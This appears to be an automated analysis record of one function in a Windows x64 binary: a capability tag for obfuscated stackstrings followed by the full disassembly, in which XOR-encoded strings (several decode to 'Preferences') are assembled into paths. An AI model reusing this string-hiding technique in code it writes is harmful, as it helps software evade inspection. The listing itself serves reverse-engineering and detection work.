Function at 0x140003870
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rsi, r8
mov r15, rdx
mov rdi, rcx
xor r12d, r12d
mov rbx, qword [r8 + 0x40]
mov r14, qword [r8 + 0x48]
cmp rbx, r14
je 0x140003e52
lea r13d, [r12 + 0x27]
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x1400038c3
mov rdx, qword [rbx]
mov qword [rsp + 0x70], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r12w
lea rcx, [rsp + 0x70]
call fcn.140002cdc
nop
mov rdx, rsi
lea rcx, [rbp + 0x70]
call fcn.14000352c
nop
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0x90]
call fcn.140003644
nop
lea rcx, [rbp + 0x70]
call fcn.14000299c
nop
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x50]
call fcn.14000352c
nop
mov r8, rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x130]
call fcn.140003644
nop
lea rcx, [rbp + 0x50]
call fcn.14000299c
nop
lea rcx, [rbp + 0x90]
call fcn.14000299c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x14000398c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003987
add rdx, r13
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003e82
call fcn.140173310
mov qword [rbp - 0x80], r12
mov edx, 7
mov qword [rbp - 0x78], rdx
mov word [rsp + 0x70], r12w
lea eax, [rdx + 0x42]
mov dword [rsp + 0x50], 0x190049
mov dword [rsp + 0x54], 0x2c003b
mov dword [rsp + 0x58], 0x2c002f
mov dword [rsp + 0x5c], 0x2c003b
mov dword [rsp + 0x60], 0x2a0027
mov dword [rsp + 0x64], 0x3a002c
mov word [rsp + 0x68], r12w
mov rcx, r12
movsx eax, al
xor word [rsp + rcx*2 + 0x52], ax
inc rcx
cmp rcx, 0xb
jae 0x1400039f2
mov al, byte [rsp + 0x50]
jmp 0x1400039db
mov word [rsp + 0x68], r12w
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], rdx
mov word [rbp - 0x10], r12w
lea rdx, [rsp + 0x52]
lea rcx, [rbp - 0x10]
call fcn.140002cdc
nop
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.14000352c
nop
mov r8, rax
mov rdx, r15
lea rcx, [rbp + 0x70]
call fcn.140003644
nop
lea rcx, [rsp + 0x50]
call fcn.14000299c
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.14000352c
nop
mov r8, rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x50]
call fcn.140003644
nop
lea rcx, [rbp + 0x30]
call fcn.14000299c
nop
mov al, r13b
mov byte [rsp + 0x30], al
xor ecx, ecx
mov byte [rsp + 0x31], cl
mov dword [rsp + 0x32], 0x550077
mov dword [rsp + 0x36], 0x410042
mov dword [rsp + 0x3a], 0x550042
mov dword [rsp + 0x3e], 0x490042
mov dword [rsp + 0x42], 0x420044
mov dword [rsp + 0x46], 0x54
mov rcx, r12
movsx eax, al
xor word [rsp + rcx*2 + 0x32], ax
inc rcx
cmp rcx, 0xb
jae 0x140003ac1
mov al, byte [rsp + 0x30]
jmp 0x140003aaa
mov word [rsp + 0x48], r12w
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r12w
lea rdx, [rsp + 0x32]
lea rcx, [rbp - 0x30]
call fcn.140002cdc
nop
mov al, 0x61
mov dword [rsp + 0x20], 0x160061
mov dword [rsp + 0x24], 0xd0000
mov dword [rsp + 0x28], 0x4000d
mov dword [rsp + 0x2c], reloc.WS2_32.dll_setsockopt
mov rcx, r12
movsx eax, al
xor word [rsp + rcx*2 + 0x22], ax
inc rcx
cmp rcx, 6
jae 0x140003b27
mov al, byte [rsp + 0x20]
jmp 0x140003b10
mov word [rsp + 0x2e], r12w
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r12w
lea rdx, [rsp + 0x22]
lea rcx, [rbp - 0x50]
call fcn.140002cdc
nop
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140003b5e
mov rdx, qword [rbx]
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r12w
lea rcx, [rbp - 0x70]
call fcn.140002cdc
nop
mov rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.14000352c
nop
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.140003644
nop
lea rcx, [rbp + 0x30]
call fcn.14000299c
nop
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.14000352c
nop
mov r8, rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xf0]
call fcn.140003644
nop
lea rcx, [rsp + 0x30]
call fcn.14000299c
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x30]
call fcn.14000352c
nop
mov r8, rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0xd0]
call fcn.140003644
nop
lea rcx, [rbp + 0x30]
call fcn.14000299c
nop
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x30]
call fcn.14000352c
nop
mov r8, rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xb0]
call fcn.140003644
nop
lea rcx, [rsp + 0x30]
call fcn.14000299c
nop
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x10]
call fcn.140003f34
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.1400597a0
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
jb 0x140003ca3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c9d
add rdx, r13
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003e88
call fcn.140173310
nop
lea rcx, [rbp + 0xb0]
call fcn.14000299c
nop
lea rcx, [rbp + 0xd0]
call fcn.14000299c
nop
lea rcx, [rbp + 0xf0]
call fcn.14000299c
nop
lea rcx, [rbp + 0x110]
call fcn.14000299c
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x140003d16
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d11
add rdx, r13
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003e8e
call fcn.140173310
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r12w
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140003d66
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d61
add rdx, r13
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003e94
call fcn.140173310
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r12w
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140003db6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003db1
add rdx, r13
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003e9a
call fcn.140173310
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r12w
lea rcx, [rbp + 0x50]
call fcn.14000299c
nop
lea rcx, [rbp + 0x70]
call fcn.14000299c
nop
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x140003e16
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e11
add rdx, r13
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003e74
call fcn.140173310
lea rcx, [0x14021d4c0]
call fcn.140171ac0
test eax, eax
jne 0x140003e7a
inc dword [0x14021dc60]
lea rcx, [0x14021d4c0]
call fcn.140171ac8
nop
lea rcx, [rbp + 0x130]
call fcn.14000299c
add rbx, 0x20
cmp rbx, r14
jne 0x1400038b6
mov rcx, rdi
mov rbx, qword [rsp + 0x298]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
jmp fcn.14000299c
call fcn.14018273c
nop
mov ecx, eax
call fcn.140171bd4
int3
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
int3